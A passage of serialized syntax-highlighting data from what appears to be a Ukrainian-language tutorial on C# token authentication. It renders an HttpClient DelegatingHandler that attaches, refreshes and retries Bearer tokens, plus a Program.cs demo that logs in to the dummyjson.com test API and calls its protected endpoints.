class":3435,"line":3479},[3433,16804,3458],{"emptyLinePlaceholder":3457},[3433,16806,16807,16809,16811,16813,16816,16818,16821,16824,16826,16829,16832],{"class":3435,"line":3484},[3433,16808,11762],{"class":3923},[3433,16810,16408],{"class":3923},[3433,16812,16411],{"class":3923},[3433,16814,16815],{"class":4745}," AuthHandler",[3433,16817,4895],{"class":4749},[3433,16819,16820],{"class":4745},"TokenStorage",[3433,16822,16823],{"class":4811}," storage",[3433,16825,4263],{"class":4749},[3433,16827,16828],{"class":4745},"IHttpClientFactory",[3433,16830,16831],{"class":4811}," factory",[3433,16833,4901],{"class":4749},[3433,16835,16836,16839],{"class":3435,"line":3490},[3433,16837,16838],{"class":4749},"    : ",[3433,16840,16841],{"class":4745},"DelegatingHandler\n",[3433,16843,16844],{"class":3435,"line":3496},[3433,16845,4843],{"class":4749},[3433,16847,16848,16851,16854,16857,16859,16861,16863,16865,16867],{"class":3435,"line":3502},[3433,16849,16850],{"class":3923},"    protected",[3433,16852,16853],{"class":3923}," override",[3433,16855,16856],{"class":3923}," async",[3433,16858,12534],{"class":4745},[3433,16860,5005],{"class":4749},[3433,16862,4952],{"class":4745},[3433,16864,5010],{"class":4749},[3433,16866,5484],{"class":4967},[3433,16868,5025],{"class":4749},[3433,16870,16871,16874,16876],{"class":3435,"line":3508},[3433,16872,16873],{"class":4745},"        HttpRequestMessage",[3433,16875,5443],{"class":4811},[3433,16877,4856],{"class":4749},[3433,16879,16880,16883,16886],{"class":3435,"line":3513},[3433,16881,16882],{"class":4745},"        CancellationToken",[3433,16884,16885],{"class":4811}," ct",[3433,16887,4901],{"class":4749},[3433,16889,16890],{"class":3435,"line":3519},[3433,16891,5565],{"class":4749},[3433,16893,16894],{"class":3435,"line":3525},[3433,16895,16896],{"class":4802},"        \u002F\u002F Пропускаємо login\u002Frefresh — вони не потребують Bearer токену\n",[3433,16898,16899,16901,16903,16906,16908,16910,16912,16914,16916,16919],{"class":3435,"line":3531},[3433,16900,5580],{"class":3923},[3433,16902,5412],{"class":4749},[3433,16904,16905],{"class":4811},"path",[3433,16907,4815],{"class":4749},[3433,16909,5489],{"class":4811},[3433,16911,3670],{"class":4749},[3433,16913,10518],{"class":4811},[3433,16915,8009],{"class":4749},[3433,16917,16918],{"class":4811},"AbsolutePath",[3433,16920,4755],{"class":4749},[3433,16922,16923,16926,16929,16931,16933,16935,16938,16940,16943,16946],{"class":3435,"line":3537},[3433,16924,16925],{"class":3923},"        bool",[3433,16927,16928],{"class":4811}," isPublicEndpoint",[3433,16930,4815],{"class":4749},[3433,16932,16905],{"class":4811},[3433,16934,8009],{"class":4749},[3433,16936,16937],{"class":4967},"EndsWith",[3433,16939,4895],{"class":4749},[3433,16941,16942],{"class":3926},"\"\u002Flogin\"",[3433,16944,16945],{"class":4749},") == ",[3433,16947,4866],{"class":3923},[3433,16949,16950,16953,16955,16957,16959,16961,16964,16966,16968],{"class":3435,"line":3542},[3433,16951,16952],{"class":4749},"                             || ",[3433,16954,16905],{"class":4811},[3433,16956,8009],{"class":4749},[3433,16958,16937],{"class":4967},[3433,16960,4895],{"class":4749},[3433,16962,16963],{"class":3926},"\"\u002Frefresh\"",[3433,16965,16945],{"class":4749},[3433,16967,6011],{"class":3923},[3433,16969,4755],{"class":4749},[3433,16971,16972,16974,16976,16979],{"class":3435,"line":3548},[3433,16973,5622],{"class":4741},[3433,16975,4638],{"class":4749},[3433,16977,16978],{"class":4811},"isPublicEndpoint",[3433,16980,4901],{"class":4749},[3433,16982,16983,16986,16989,16992,16994,16996,16998,17000,17002,17005],{"class":3435,"line":3554},[3433,16984,16985],{"class":4741},"            return",[3433,16987,16988],{"class":3923}," await",[3433,16990,16991],{"class":3923}," base",[3433,16993,3670],{"class":4749},[3433,16995,5484],{"class":4967},[3433,16997,4895],{"class":4749},[3433,16999,5489],{"class":4811},[3433,17001,4263],{"class":4749},[3433,17003,17004],{"class":4811},"ct",[3433,17006,4976],{"class":4749},[3433,17008,17009],{"class":3435,"line":3560},[3433,17010,3458],{"emptyLinePlaceholder":3457},[3433,17012,17013],{"class":3435,"line":3565},[3433,17014,17015],{"class":4802},"        \u002F\u002F Токен протух — оновлюємо ПЕРЕД відправкою запиту\n",[3433,17017,17018,17020,17022,17025,17027,17030,17033,17035,17037,17039,17041,17043,17045],{"class":3435,"line":3570},[3433,17019,5622],{"class":4741},[3433,17021,4638],{"class":4749},[3433,17023,17024],{"class":4811},"storage",[3433,17026,3670],{"class":4749},[3433,17028,17029],{"class":4811},"IsExpired",[3433,17031,17032],{"class":4749}," && ",[3433,17034,17024],{"class":4811},[3433,17036,3670],{"class":4749},[3433,17038,8202],{"class":4811},[3433,17040,5771],{"class":3923},[3433,17042,5774],{"class":3923},[3433,17044,5777],{"class":3923},[3433,17046,4901],{"class":4749},[3433,17048,17049,17052,17055,17057,17059],{"class":3435,"line":3576},[3433,17050,17051],{"class":3923},"            await",[3433,17053,17054],{"class":4967}," RefreshTokenAsync",[3433,17056,4895],{"class":4749},[3433,17058,17004],{"class":4811},[3433,17060,4976],{"class":4749},[3433,17062,17063],{"class":3435,"line":3582},[3433,17064,3458],{"emptyLinePlaceholder":3457},[3433,17066,17067],{"class":3435,"line":3587},[3433,17068,17069],{"class":4802},"        \u002F\u002F Прикріплюємо актуальний токен\n",[3433,17071,17072,17074,17076,17078,17080,17082,17084,17086,17088],{"class":3435,"line":3592},[3433,17073,5622],{"class":4741},[3433,17075,4638],{"class":4749},[3433,17077,17024],{"class":4811},[3433,17079,3670],{"class":4749},[3433,17081,7920],{"class":4811},[3433,17083,5771],{"class":3923},[3433,17085,5774],{"class":3923},[3433,17087,5777],{"class":3923},[3433,17089,4901],{"class":4749},[3433,17091,17092,17095,17097,17099,17101,17103],{"class":3435,"line":3598},[3433,17093,17094],{"class":4811},"            request",[3433,17096,3670],{"class":4749},[3433,17098,5515],{"class":4811},[3433,17100,3670],{"class":4749},[3433,17102,6547],{"class":4811},[3433,17104,6875],{"class":4749},[3433,17106,17107,17110,17112,17114,17116,17118,17120,17122,17124],{"class":3435,"line":3604},[3433,17108,17109],{"class":3923},"                new",[3433,17111,6882],{"class":4745},[3433,17113,4895],{"class":4749},[3433,17115,8002],{"class":3926},[3433,17117,4263],{"class":4749},[3433,17119,17024],{"class":4811},[3433,17121,3670],{"class":4749},[3433,17123,7920],{"class":4811},[3433,17125,4976],{"class":4749},[3433,17127,17128],{"class":3435,"line":3610},[3433,17129,3458],{"emptyLinePlaceholder":3457},[3433,17131,17132,17135,17137,17139,17141,17143,17145,17147,17149,17151,17153,17155],{"class":3435,"line":3615},[3433,17133,17134],{"class":4745},"        HttpResponseMessage",[3433,17136,6971],{"class":4811},[3433,17138,4815],{"class":4749},[3433,17140,4960],{"class":3923},[3433,17142,16991],{"class":3923},[3433,17144,3670],{"class":4749},[3433,17146,5484],{"class":4967},[3433,17148,4895],{"class":4749},[3433,17150,5489],{"class":4811},[3433,17152,4263],{"class":4749},[3433,17154,17004],{"class":4811},[3433,17156,4976],{"class":4749},[3433,17158,17159],{"class":3435,"line":3620},[3433,17160,3458],{"emptyLinePlaceholder":3457},[3433,17162,17163],{"class":3435,"line":3626},[3433,17164,17165],{"class":4802},"        \u002F\u002F 401 — сервер відхилив токен → спробувати refresh і повторити\n",[3433,17167,17168,17170,17172,17174,17176,17178,17180,17182,17184],{"class":3435,"line":3632},[3433,17169,5622],{"class":4741},[3433,17171,4638],{"class":4749},[3433,17173,11351],{"class":4811},[3433,17175,3670],{"class":4749},[3433,17177,12745],{"class":4811},[3433,17179,5967],{"class":4749},[3433,17181,12750],{"class":4811},[3433,17183,3670],{"class":4749},[3433,17185,17186],{"class":4811},"Unauthorized\n",[3433,17188,17189,17192,17194,17196,17198,17200,17202,17204],{"class":3435,"line":3637},[3433,17190,17191],{"class":4749},"            && ",[3433,17193,17024],{"class":4811},[3433,17195,3670],{"class":4749},[3433,17197,8202],{"class":4811},[3433,17199,5771],{"class":3923},[3433,17201,5774],{"class":3923},[3433,17203,5777],{"class":3923},[3433,17205,4901],{"class":4749},[3433,17207,17208],{"class":3435,"line":3642},[3433,17209,5654],{"class":4749},[3433,17211,17212,17215,17218,17220,17222,17224,17226,17228],{"class":3435,"line":3895},[3433,17213,17214],{"class":3923},"            bool",[3433,17216,17217],{"class":4811}," refreshed",[3433,17219,4815],{"class":4749},[3433,17221,4960],{"class":3923},[3433,17223,17054],{"class":4967},[3433,17225,4895],{"class":4749},[3433,17227,17004],{"class":4811},[3433,17229,4976],{"class":4749},[3433,17231,17232,17235,17237,17240],{"class":3435,"line":3900},[3433,17233,17234],{"class":4741},"            if",[3433,17236,4638],{"class":4749},[3433,17238,17239],{"class":4811},"refreshed",[3433,17241,4901],{"class":4749},[3433,17243,17244],{"class":3435,"line":5248},[3433,17245,17246],{"class":4749},"            {\n",[3433,17248,17249,17252,17255,17257,17259,17262,17264,17266],{"class":3435,"line":5273},[3433,17250,17251],{"class":3923},"                var",[3433,17253,17254],{"class":4811}," retryRequest",[3433,17256,4815],{"class":4749},[3433,17258,4960],{"class":3923},[3433,17260,17261],{"class":4967}," CloneRequestAsync",[3433,17263,4895],{"class":4749},[3433,17265,5489],{"class":4811},[3433,17267,4976],{"class":4749},[3433,17269,17270,17273,17275,17277,17279,17281],{"class":3435,"line":6516},[3433,17271,17272],{"class":4811},"                retryRequest",[3433,17274,3670],{"class":4749},[3433,17276,5515],{"class":4811},[3433,17278,3670],{"class":4749},[3433,17280,6547],{"class":4811},[3433,17282,6875],{"class":4749},[3433,17284,17285,17288,17290,17292,17294,17296,17298,17300,17302],{"class":3435,"line":6522},[3433,17286,17287],{"class":3923},"                    new",[3433,17289,6882],{"class":4745},[3433,17291,4895],{"class":4749},[3433,17293,8002],{"class":3926},[3433,17295,4263],{"class":4749},[3433,17297,17024],{"class":4811},[3433,17299,3670],{"class":4749},[3433,17301,7920],{"class":4811},[3433,17303,17304],{"class":4749},"!);\n",[3433,17306,17307],{"class":3435,"line":6527},[3433,17308,3458],{"emptyLinePlaceholder":3457},[3433,17310,17311,17314,17316,17318,17320,17322,17324,17326,17329,17331,17333],{"class":3435,"line":6532},[3433,17312,17313],{"class":4811},"                response",[3433,17315,4815],{"class":4749},[3433,17317,4960],{"class":3923},[3433,17319,16991],{"class":3923},[3433,17321,3670],{"class":4749},[3433,17323,5484],{"class":4967},[3433,17325,4895],{"class":4749},[3433,17327,17328],{"class":4811},"retryRequest",[3433,17330,4263],{"class":4749},[3433,17332,17004],{"class":4811},[3433,17334,4976],{"class":4749},[3433,17336,17337],{"class":3435,"line":8453},[3433,17338,17339],{"class":4749},"            }\n",[3433,17341,17342],{"class":3435,"line":10849},[3433,17343,5715],{"class":4749},[3433,17345,17346],{"class":3435,"line":10854},[3433,17347,3458],{"emptyLinePlaceholder":3457},[3433,17349,17350],{"class":3435,"line":10872},[3433,17351,17352],{"class":4802},"        \u002F\u002F Якщо знову 401 — всі токени недійсні\n",[3433,17354,17355,17357,17359,17361,17363,17365,17367,17369,17371,17374],{"class":3435,"line":10877},[3433,17356,5622],{"class":4741},[3433,17358,4638],{"class":4749},[3433,17360,11351],{"class":4811},[3433,17362,3670],{"class":4749},[3433,17364,12745],{"class":4811},[3433,17366,5967],{"class":4749},[3433,17368,12750],{"class":4811},[3433,17370,3670],{"class":4749},[3433,17372,17373],{"class":4811},"Unauthorized",[3433,17375,4901],{"class":4749},[3433,17377,17378,17381,17383,17385],{"class":3435,"line":10882},[3433,17379,17380],{"class":4811},"            storage",[3433,17382,3670],{"class":4749},[3433,17384,13499],{"class":4967},[3433,17386,4824],{"class":4749},[3433,17388,17389],{"class":3435,"line":10905},[3433,17390,3458],{"emptyLinePlaceholder":3457},[3433,17392,17394,17396,17398],{"class":3435,"line":17393},53,[3433,17395,10510],{"class":4741},[3433,17397,6971],{"class":4811},[3433,17399,4755],{"class":4749},[3433,17401,17403],{"class":3435,"line":17402},54,[3433,17404,5720],{"class":4749},[3433,17406,17408],{"class":3435,"line":17407},55,[3433,17409,3458],{"emptyLinePlaceholder":3457},[3433,17411,17413,17415,17417,17419,17421,17424,17426,17429,17431,17434,17436],{"class":3435,"line":17412},56,[3433,17414,16423],{"class":3923},[3433,17416,16856],{"class":3923},[3433,17418,12534],{"class":4745},[3433,17420,5005],{"class":4749},[3433,17422,17423],{"class":3923},"bool",[3433,17425,5010],{"class":4749},[3433,17427,17428],{"class":4967},"RefreshTokenAsync",[3433,17430,4895],{"class":4749},[3433,17432,17433],{"class":4745},"CancellationToken",[3433,17435,16885],{"class":4811},[3433,17437,4901],{"class":4749},[3433,17439,17441],{"class":3435,"line":17440},57,[3433,17442,5565],{"class":4749},[3433,17444,17446,17449,17451,17454,17456,17459,17461,17464,17466,17469],{"class":3435,"line":17445},58,[3433,17447,17448],{"class":4741},"        using",[3433,17450,4882],{"class":3923},[3433,17452,17453],{"class":4811}," refreshClient",[3433,17455,4815],{"class":4749},[3433,17457,17458],{"class":4811},"factory",[3433,17460,3670],{"class":4749},[3433,17462,17463],{"class":4967},"CreateClient",[3433,17465,4895],{"class":4749},[3433,17467,17468],{"class":3926},"\"Auth\"",[3433,17470,4976],{"class":4749},[3433,17472,17474],{"class":3435,"line":17473},59,[3433,17475,3458],{"emptyLinePlaceholder":3457},[3433,17477,17479,17481,17483,17485,17487,17489,17491,17493,17495,17497,17499,17501,17503,17505,17507],{"class":3435,"line":17478},60,[3433,17480,8308],{"class":3923},[3433,17482,12286],{"class":4811},[3433,17484,4815],{"class":4749},[3433,17486,4818],{"class":3923},[3433,17488,5337],{"class":4749},[3433,17490,8231],{"class":4811},[3433,17492,4815],{"class":4749},[3433,17494,17024],{"class":4811},[3433,17496,3670],{"class":4749},[3433,17498,8202],{"class":4811},[3433,17500,4263],{"class":4749},[3433,17502,7811],{"class":4811},[3433,17504,4815],{"class":4749},[3433,17506,7816],{"class":5604},[3433,17508,5357],{"class":4749},[3433,17510,17512,17514,17516,17518,17520,17522,17524,17526,17528,17530,17532,17535,17537,17539],{"class":3435,"line":17511},61,[3433,17513,17134],{"class":4745},[3433,17515,6971],{"class":4811},[3433,17517,4815],{"class":4749},[3433,17519,4960],{"class":3923},[3433,17521,17453],{"class":4811},[3433,17523,3670],{"class":4749},[3433,17525,7836],{"class":4967},[3433,17527,4895],{"class":4749},[3433,17529,8271],{"class":3926},[3433,17531,4263],{"class":4749},[3433,17533,17534],{"class":4811},"body",[3433,17536,4263],{"class":4749},[3433,17538,17004],{"class":4811},[3433,17540,4976],{"class":4749},[3433,17542,17544],{"class":3435,"line":17543},62,[3433,17545,3458],{"emptyLinePlaceholder":3457},[3433,17547,17549,17551,17553,17555,17557,17559],{"class":3435,"line":17548},63,[3433,17550,5622],{"class":4741},[3433,17552,15857],{"class":4749},[3433,17554,11351],{"class":4811},[3433,17556,3670],{"class":4749},[3433,17558,8297],{"class":4811},[3433,17560,4901],{"class":4749},[3433,17562,17564],{"class":3435,"line":17563},64,[3433,17565,5654],{"class":4749},[3433,17567,17569,17571,17573,17575],{"class":3435,"line":17568},65,[3433,17570,17380],{"class":4811},[3433,17572,3670],{"class":4749},[3433,17574,13499],{"class":4967},[3433,17576,4824],{"class":4749},[3433,17578,17580,17582,17585],{"class":3435,"line":17579},66,[3433,17581,16985],{"class":4741},[3433,17583,17584],{"class":3923}," false",[3433,17586,4755],{"class":4749},[3433,17588,17590],{"class":3435,"line":17589},67,[3433,17591,5715],{"class":4749},[3433,17593,17595],{"class":3435,"line":17594},68,[3433,17596,3458],{"emptyLinePlaceholder":3457},[3433,17598,17600,17602,17605,17607,17609,17611,17613,17615,17617,17619,17621,17623,17625,17627],{"class":3435,"line":17599},69,[3433,17601,8308],{"class":3923},[3433,17603,17604],{"class":4811}," result",[3433,17606,4815],{"class":4749},[3433,17608,4960],{"class":3923},[3433,17610,6971],{"class":4811},[3433,17612,3670],{"class":4749},[3433,17614,7880],{"class":4811},[3433,17616,3670],{"class":4749},[3433,17618,7885],{"class":4967},[3433,17620,5005],{"class":4749},[3433,17622,7890],{"class":4745},[3433,17624,8868],{"class":4749},[3433,17626,17004],{"class":4811},[3433,17628,4976],{"class":4749},[3433,17630,17632,17634,17636,17639,17641,17643,17645,17647,17649],{"class":3435,"line":17631},70,[3433,17633,5622],{"class":4741},[3433,17635,4638],{"class":4749},[3433,17637,17638],{"class":4811},"result",[3433,17640,5771],{"class":3923},[3433,17642,5777],{"class":3923},[3433,17644,10492],{"class":4749},[3433,17646,10495],{"class":4741},[3433,17648,17584],{"class":3923},[3433,17650,4755],{"class":4749},[3433,17652,17654],{"class":3435,"line":17653},71,[3433,17655,3458],{"emptyLinePlaceholder":3457},[3433,17657,17659],{"class":3435,"line":17658},72,[3433,17660,17661],{"class":4802},"        \u002F\u002F ExpiresIn не повертається dummyjson, використовуємо стандарт 1800с\n",[3433,17663,17665,17668,17670,17673,17675,17677,17679,17681,17683,17685,17687,17689,17691,17693,17695,17698,17701,17703,17705,17707,17709,17711,17713,17715],{"class":3435,"line":17664},73,[3433,17666,17667],{"class":4811},"        storage",[3433,17669,3670],{"class":4749},[3433,17671,17672],{"class":4967},"Store",[3433,17674,4895],{"class":4749},[3433,17676,17638],{"class":4811},[3433,17678,3670],{"class":4749},[3433,17680,7920],{"class":4811},[3433,17682,4263],{"class":4749},[3433,17684,17638],{"class":4811},[3433,17686,3670],{"class":4749},[3433,17688,8202],{"class":4811},[3433,17690,4263],{"class":4749},[3433,17692,17638],{"class":4811},[3433,17694,3670],{"class":4749},[3433,17696,17697],{"class":4811},"ExpiresIn",[3433,17699,17700],{"class":4749}," > ",[3433,17702,5605],{"class":5604},[3433,17704,11411],{"class":4749},[3433,17706,17638],{"class":4811},[3433,17708,3670],{"class":4749},[3433,17710,17697],{"class":4811},[3433,17712,11417],{"class":4749},[3433,17714,8436],{"class":5604},[3433,17716,4976],{"class":4749},[3433,17718,17720,17722,17724],{"class":3435,"line":17719},74,[3433,17721,10510],{"class":4741},[3433,17723,10498],{"class":3923},[3433,17725,4755],{"class":4749},[3433,17727,17729],{"class":3435,"line":17728},75,[3433,17730,5720],{"class":4749},[3433,17732,17734],{"class":3435,"line":17733},76,[3433,17735,3458],{"emptyLinePlaceholder":3457},[3433,17737,17739,17741,17744,17746,17748,17750,17753,17755,17758,17760,17762,17765],{"class":3435,"line":17738},77,[3433,17740,16423],{"class":3923},[3433,17742,17743],{"class":3923}," static",[3433,17745,16856],{"class":3923},[3433,17747,12534],{"class":4745},[3433,17749,5005],{"class":4749},[3433,17751,17752],{"class":4745},"HttpRequestMessage",[3433,17754,5010],{"class":4749},[3433,17756,17757],{"class":4967},"CloneRequestAsync",[3433,17759,4895],{"class":4749},[3433,17761,17752],{"class":4745},[3433,17763,17764],{"class":4811}," original",[3433,17766,4901],{"class":4749},[3433,17768,17770],{"class":3435,"line":17769},78,[3433,17771,5565],{"class":4749},[3433,17773,17775,17777,17780,17782,17784,17786,17788,17791,17793,17796,17798,17800,17802,17804],{"class":3435,"line":17774},79,[3433,17776,8308],{"class":3923},[3433,17778,17779],{"class":4811}," clone",[3433,17781,4815],{"class":4749},[3433,17783,4818],{"class":3923},[3433,17785,5450],{"class":4745},[3433,17787,4895],{"class":4749},[3433,17789,17790],{"class":4811},"original",[3433,17792,3670],{"class":4749},[3433,17794,17795],{"class":4811},"Method",[3433,17797,4263],{"class":4749},[3433,17799,17790],{"class":4811},[3433,17801,3670],{"class":4749},[3433,17803,10518],{"class":4811},[3433,17805,4976],{"class":4749},[3433,17807,17809,17812,17814,17817,17819,17821,17823,17825],{"class":3435,"line":17808},80,[3433,17810,17811],{"class":4811},"        clone",[3433,17813,3670],{"class":4749},[3433,17815,17816],{"class":4811},"Version",[3433,17818,4815],{"class":4749},[3433,17820,17790],{"class":4811},[3433,17822,3670],{"class":4749},[3433,17824,17816],{"class":4811},[3433,17826,4755],{"class":4749},[3433,17828,17830],{"class":3435,"line":17829},81,[3433,17831,3458],{"emptyLinePlaceholder":3457},[3433,17833,17835,17838,17840,17842,17844,17846,17848,17850,17852],{"class":3435,"line":17834},82,[3433,17836,17837],{"class":4741},"        foreach",[3433,17839,4638],{"class":4749},[3433,17841,4808],{"class":3923},[3433,17843,11328],{"class":4811},[3433,17845,5061],{"class":4741},[3433,17847,17764],{"class":4811},[3433,17849,3670],{"class":4749},[3433,17851,5515],{"class":4811},[3433,17853,4901],{"class":4749},[3433,17855,17857,17860,17862,17864,17866,17869,17871,17873,17875,17878,17880,17882,17884,17886],{"class":3435,"line":17856},83,[3433,17858,17859],{"class":4811},"            clone",[3433,17861,3670],{"class":4749},[3433,17863,5515],{"class":4811},[3433,17865,3670],{"class":4749},[3433,17867,17868],{"class":4967},"TryAddWithoutValidation",[3433,17870,4895],{"class":4749},[3433,17872,11365],{"class":4811},[3433,17874,3670],{"class":4749},[3433,17876,17877],{"class":4811},"Key",[3433,17879,4263],{"class":4749},[3433,17881,11365],{"class":4811},[3433,17883,3670],{"class":4749},[3433,17885,5112],{"class":4811},[3433,17887,4976],{"class":4749},[3433,17889,17891],{"class":3435,"line":17890},84,[3433,17892,3458],{"emptyLinePlaceholder":3457},[3433,17894,17896,17898,17900,17902,17904,17906,17908,17910,17912],{"class":3435,"line":17895},85,[3433,17897,5622],{"class":4741},[3433,17899,4638],{"class":4749},[3433,17901,17790],{"class":4811},[3433,17903,3670],{"class":4749},[3433,17905,7880],{"class":4811},[3433,17907,5771],{"class":3923},[3433,17909,5774],{"class":3923},[3433,17911,5777],{"class":3923},[3433,17913,4901],{"class":4749},[3433,17915,17917],{"class":3435,"line":17916},86,[3433,17918,5654],{"class":4749},[3433,17920,17922,17925,17928,17930,17932,17934,17936,17938,17940,17942,17945],{"class":3435,"line":17921},87,[3433,17923,17924],{"class":3923},"            byte",[3433,17926,17927],{"class":4749},"[] ",[3433,17929,14114],{"class":4811},[3433,17931,4815],{"class":4749},[3433,17933,4960],{"class":3923},[3433,17935,17764],{"class":4811},[3433,17937,3670],{"class":4749},[3433,17939,7880],{"class":4811},[3433,17941,3670],{"class":4749},[3433,17943,17944],{"class":4967},"ReadAsByteArrayAsync",[3433,17946,4824],{"class":4749},[3433,17948,17950,17952,17954,17956,17958,17960,17963,17965,17967],{"class":3435,"line":17949},88,[3433,17951,17859],{"class":4811},[3433,17953,3670],{"class":4749},[3433,17955,7880],{"class":4811},[3433,17957,4815],{"class":4749},[3433,17959,4818],{"class":3923},[3433,17961,17962],{"class":4745}," ByteArrayContent",[3433,17964,4895],{"class":4749},[3433,17966,14114],{"class":4811},[3433,17968,4976],{"class":4749},[3433,17970,17972],{"class":3435,"line":17971},89,[3433,17973,3458],{"emptyLinePlaceholder":3457},[3433,17975,17977,17980,17982,17984,17986,17988,17990,17992,17994,17996,17998],{"class":3435,"line":17976},90,[3433,17978,17979],{"class":4741},"            foreach",[3433,17981,4638],{"class":4749},[3433,17983,4808],{"class":3923},[3433,17985,11328],{"class":4811},[3433,17987,5061],{"class":4741},[3433,17989,17764],{"class":4811},[3433,17991,3670],{"class":4749},[3433,17993,7880],{"class":4811},[3433,17995,3670],{"class":4749},[3433,17997,5515],{"class":4811},[3433,17999,4901],{"class":4749},[3433,18001,18003,18006,18008,18010,18012,18014,18016,18018,18020,18022,18024,18026,18028,18030,18032,18034],{"class":3435,"line":18002},91,[3433,18004,18005],{"class":4811},"                clone",[3433,18007,3670],{"class":4749},[3433,18009,7880],{"class":4811},[3433,18011,3670],{"class":4749},[3433,18013,5515],{"class":4811},[3433,18015,3670],{"class":4749},[3433,18017,17868],{"class":4967},[3433,18019,4895],{"class":4749},[3433,18021,11365],{"class":4811},[3433,18023,3670],{"class":4749},[3433,18025,17877],{"class":4811},[3433,18027,4263],{"class":4749},[3433,18029,11365],{"class":4811},[3433,18031,3670],{"class":4749},[3433,18033,5112],{"class":4811},[3433,18035,4976],{"class":4749},[3433,18037,18039],{"class":3435,"line":18038},92,[3433,18040,5715],{"class":4749},[3433,18042,18044],{"class":3435,"line":18043},93,[3433,18045,3458],{"emptyLinePlaceholder":3457},[3433,18047,18049,18051,18053],{"class":3435,"line":18048},94,[3433,18050,10510],{"class":4741},[3433,18052,17779],{"class":4811},[3433,18054,4755],{"class":4749},[3433,18056,18058],{"class":3435,"line":18057},95,[3433,18059,5720],{"class":4749},[3433,18061,18063],{"class":3435,"line":18062},96,[3433,18064,3813],{"class":4749},[3433,18066,18068],{"class":3435,"line":18067},97,[3433,18069,3458],{"emptyLinePlaceholder":3457},[3433,18071,18073,18075,18077,18079,18081,18083,18085,18087,18089,18091,18093,18095,18097,18099],{"class":3435,"line":18072},98,[3433,18074,8406],{"class":3923},[3433,18076,8409],{"class":4745},[3433,18078,4895],{"class":4749},[3433,18080,3940],{"class":3923},[3433,18082,8416],{"class":4811},[3433,18084,4263],{"class":4749},[3433,18086,3940],{"class":3923},[3433,18088,8423],{"class":4811},[3433,18090,4263],{"class":4749},[3433,18092,8428],{"class":3923},[3433,18094,8431],{"class":4811},[3433,18096,4815],{"class":4749},[3433,18098,8436],{"class":5604},[3433,18100,4976],{"class":4749},[3654,18102,18104],{"id":18103},"programcs-збірка-та-демонстрація","Program.cs — збірка та демонстрація",[3423,18106,18108],{"className":4731,"code":18107,"language":4733,"meta":4734,"style":3428},"\u002F\u002F Program.cs\nusing Microsoft.Extensions.DependencyInjection;\nusing AuthClient.Handlers;\nusing AuthClient.Storage;\nusing System.Net.Http.Json;\n\nvar services = new ServiceCollection();\nvar tokenStorage = new TokenStorage();\n\nservices.AddSingleton(tokenStorage);\nservices.AddTransient\u003CAuthHandler>();\n\n\u002F\u002F \"Auth\" клієнт — для auth-запитів (без AuthHandler!)\nservices.AddHttpClient(\"Auth\", c =>\n    c.BaseAddress = new Uri(\"https:\u002F\u002Fdummyjson.com\u002F\"));\n\n\u002F\u002F \"Api\" клієнт — з AuthHandler у pipeline\nservices.AddHttpClient(\"Api\", c =>\n    c.BaseAddress = new Uri(\"https:\u002F\u002Fdummyjson.com\u002F\"))\n    .AddHttpMessageHandler\u003CAuthHandler>();\n\nvar sp = services.BuildServiceProvider();\nvar factory = sp.GetRequiredService\u003CIHttpClientFactory>();\n\n\u002F\u002F ── Логін ────────────────────────────────────────────────────────────────────\nvar authClient = factory.CreateClient(\"Auth\");\n\u002F\u002F dummyjson.com: POST \u002Fauth\u002Flogin {username, password}\nvar loginBody = new { username = \"emilys\", password = \"emilyspass\", expiresInMins = 30 };\nvar loginResp = await authClient.PostAsJsonAsync(\"auth\u002Flogin\", loginBody);\n\nif (loginResp.IsSuccessStatusCode)\n{\n    var tokens = await loginResp.Content.ReadFromJsonAsync\u003CTokenResponse>();\n    int expiresIn = tokens!.ExpiresIn > 0 ? tokens.ExpiresIn : 1800;\n    tokenStorage.Store(tokens!.AccessToken, tokens.RefreshToken, expiresIn);\n    Console.WriteLine(\"✅ Аутентифікація успішна\");\n}\n\n\u002F\u002F ── Захищені запити — Bearer token додається автоматично ──────────────────────\nvar apiClient = factory.CreateClient(\"Api\");\n\n\u002F\u002F GET \u002Fauth\u002Fme — профіль поточного користувача (dummyjson перевіряє Bearer)\nvar profile = await apiClient.GetAsync(\"auth\u002Fme\");\nConsole.WriteLine($\"Profile: {profile.StatusCode}\");\n\n\u002F\u002F GET \u002Fauth\u002Fcarts — кошики поточного користувача (dummyjson protected endpoint)\nvar carts = await apiClient.GetAsync(\"auth\u002Fcarts\");\nConsole.WriteLine($\"Carts: {carts.StatusCode}\");\n\nrecord TokenResponse(string AccessToken, string RefreshToken, int ExpiresIn = 1800);\n",[3430,18109,18110,18115,18134,18146,18158,18178,18182,18198,18214,18218,18235,18251,18255,18260,18279,18300,18304,18309,18328,18348,18361,18365,18383,18405,18409,18414,18435,18440,18477,18504,18508,18522,18526,18553,18588,18620,18635,18639,18643,18648,18669,18673,18678,18700,18727,18731,18736,18760,18788,18792],{"__ignoreMap":3428},[3433,18111,18112],{"class":3435,"line":3436},[3433,18113,18114],{"class":4802},"\u002F\u002F Program.cs\n",[3433,18116,18117,18119,18122,18124,18127,18129,18132],{"class":3435,"line":3442},[3433,18118,4742],{"class":4741},[3433,18120,18121],{"class":4745}," Microsoft",[3433,18123,3670],{"class":4749},[3433,18125,18126],{"class":4745},"Extensions",[3433,18128,3670],{"class":4749},[3433,18130,18131],{"class":4745},"DependencyInjection",[3433,18133,4755],{"class":4749},[3433,18135,18136,18138,18140,18142,18144],{"class":3435,"line":3448},[3433,18137,4742],{"class":4741},[3433,18139,16390],{"class":4745},[3433,18141,3670],{"class":4749},[3433,18143,16730],{"class":4745},[3433,18145,4755],{"class":4749},[3433,18147,18148,18150,18152,18154,18156],{"class":3435,"line":3454},[3433,18149,4742],{"class":4741},[3433,18151,16390],{"class":4745},[3433,18153,3670],{"class":4749},[3433,18155,16395],{"class":4745},[3433,18157,4755],{"class":4749},[3433,18159,18160,18162,18164,18166,18168,18170,18172,18174,18176],{"class":3435,"line":3461},[3433,18161,4742],{"class":4741},[3433,18163,4746],{"class":4745},[3433,18165,3670],{"class":4749},[3433,18167,4752],{"class":4745},[3433,18169,3670],{"class":4749},[3433,18171,4770],{"class":4745},[3433,18173,3670],{"class":4749},[3433,18175,4791],{"class":4745},[3433,18177,4755],{"class":4749},[3433,18179,18180],{"class":3435,"line":3467},[3433,18181,3458],{"emptyLinePlaceholder":3457},[3433,18183,18184,18186,18189,18191,18193,18196],{"class":3435,"line":3473},[3433,18185,4808],{"class":3923},[3433,18187,18188],{"class":4811}," services",[3433,18190,4815],{"class":4749},[3433,18192,4818],{"class":3923},[3433,18194,18195],{"class":4745}," 